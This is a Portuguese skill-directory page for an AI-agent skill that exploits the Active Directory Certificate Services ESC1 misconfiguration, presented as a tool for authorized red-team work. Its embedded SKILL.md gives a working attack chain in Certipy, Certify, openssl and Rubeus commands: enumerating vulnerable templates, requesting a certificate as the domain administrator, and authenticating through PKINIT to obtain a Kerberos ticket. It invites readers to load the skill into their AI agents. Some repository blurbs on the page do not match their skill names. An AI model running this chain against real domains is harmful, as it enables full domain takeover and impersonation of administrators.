exploiting-active-directory-certificate-services-esc1
Ajuda seu agente a explorar falhas em sistemas de certificado do Active Directory. Ele pode solicitar certificados com privilégios elevados para aumentar o acesso em testes autorizados.
O que ela faz
Esta ferramenta explora uma falha comum em sistemas de segurança chamados Active Directory Certificate Services (AD CS). Ela permite que um usuário com pouca permissão se passe por um usuário com muitas permissões, como um administrador do domínio, para obter acesso privilegiado.
Quando usar
- ✓Durante testes de segurança autorizados em redes corporativas.
- ✓Ao analisar como ataques podem ocorrer em sistemas de autenticação.
- ✓Em simulações de ataque controladas para testar defesas.
Exemplo do que pedir para a IA
“Quero testar se a configuração de certificados do nosso Active Directory pode ser explorada para obter privilégios de administrador.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta procura por configurações específicas nos serviços de certificado que permitem solicitar um certificado em nome de outra pessoa. Se encontrar, ela cria um certificado falso que se passa por um administrador e usa isso para ganhar acesso total ao sistema.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-active-directory-certificate-services-esc1Ou baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-active-directory-certificate-services-esc1/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando o ESC1 dos Serviços de Certificado do Active Directory
Visão Geral
ESC1 (Cenário de Escalada 1) é uma má configuração crítica nos Serviços de Certificado do Active Directory onde um modelo de certificado permite que um usuário com privilégios baixos solicite um certificado em nome de qualquer outro usuário, incluindo Administradores de Domínio. A vulnerabilidade existe quando um modelo tem a flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT ativada (também chamada de "Fornecer na Solicitação"), combinada com um Uso Estendido de Chave (EKU) que permite autenticação de cliente (Autenticação de Cliente, Autenticação de Cliente PKINIT, Logon com Cartão Inteligente ou Qualquer Propósito). Isso permite que um atacante especifique um Nome Alternativo do Assunto (SAN) arbitrário na solicitação de certificado, efetivamente se passando por qualquer usuário do domínio. O ESC1 foi documentado pelos pesquisadores da SpecterOps, Will Schroeder e Lee Christensen, em seu whitepaper "Certified Pre-Owned" (2021) e continua sendo um dos caminhos de ataque mais comuns do AD CS. O framework MITRE ATT&CK rastreia isso como T1649 (Roubar ou Forjar Certificados de Autenticação).
Quando Usar
- Ao realizar testes de segurança autorizados que envolvam a exploração do ESC1 dos serviços de certificado do Active Directory
- Ao analisar amostras de malware ou artefatos de ataque em um ambiente controlado
- Ao conduzir exercícios de equipe vermelha ou engajamentos de testes de penetração
- Ao construir capacidades de detecção com base no entendimento de técnicas ofensivas
Pré-requisitos
- Familiaridade com conceitos e ferramentas de red teaming
- Acesso a um ambiente de teste ou laboratório para execução segura
- Python 3.8+ com as dependências necessárias instaladas
- Autorização apropriada para quaisquer atividades de teste
Objetivos
- Enumerar a infraestrutura do AD CS e os modelos de certificado usando Certify ou Certipy
- Identificar modelos ESC1 vulneráveis com "Fornecer na Solicitação" ativado
- Solicitar um certificado especificando um Administrador de Domínio no campo SAN
- Autenticar usando o certificado forjado via PKINIT para obter um TGT
- Escalar privilégios para Administrador de Domínio usando o ticket Kerberos obtido
- Documentar a cadeia de ataque completa para o relatório do engajamento
Mapeamento MITRE ATT&CK
- T1649 - Roubar ou Forjar Certificados de Autenticação
- T1558.001 - Roubar ou Forjar Tickets Kerberos: Golden Ticket
- T1078.002 - Contas Válidas: Contas de Domínio
- T1484 - Modificação de Política de Domínio
- T1087.002 - Descoberta de Conta: Conta de Domínio
Fluxo de Trabalho
Fase 1: Enumeração do AD CS
- Enumerar servidores de Autoridade de Certificação (CA) no domínio:
# Using Certify (Windows) Certify.exe cas # Using Certipy (Linux/Python) certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 - Enumerar todos os modelos de certificado e identificar os vulneráveis:
# Using Certify - find vulnerable templates Certify.exe find /vulnerable # Using Certipy - outputs JSON and text reports certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable - Verificar as condições do ESC1 nos modelos identificados:
msPKI-Certificate-Name-FlagcontémENROLLEE_SUPPLIES_SUBJECTpkiExtendedKeyUsagecontém Autenticação de Cliente ou Logon com Cartão InteligentemsPKI-Enrollment-Flagnão requer aprovação do gerente- Grupo de baixo privilégio (Usuários do Domínio, Usuários Autenticados) tem direitos de Inscrição
Fase 2: Solicitação de Certificado com SAN Arbitrário
- Solicitar um certificado usando o modelo vulnerável, especificando um Administrador de Domínio no SAN:
# Using Certify (Windows) Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator # Using Certipy (Linux) certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local - A CA emite um certificado com o UPN do Administrador de Domínio no campo SAN
- Salvar o certificado de saída no formato PFX/PEM
Fase 3: Autenticação com Certificado Forjado
- Converter o certificado, se necessário (Certify gera PEM, converter para PFX):
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx - Autenticar usando PKINIT para obter um TGT para o usuário impersonado:
# Using Rubeus (Windows) Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt # Using Certipy (Linux) certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
…
Perguntas frequentes
O que são Active Directory Certificate Services (AD CS)?
É um serviço da Microsoft que gerencia certificados digitais para autenticação e segurança em redes corporativas.
O que significa 'escalar privilégios'?
Significa obter permissões de acesso maiores do que as que você tinha inicialmente, como passar de um usuário comum para um administrador.
Preciso de permissão para usar esta ferramenta?
Sim, esta ferramenta é para testes de segurança autorizados. Usá-la sem permissão é ilegal e antiético.
Detalhes
Descrição original do autor
Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5734
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC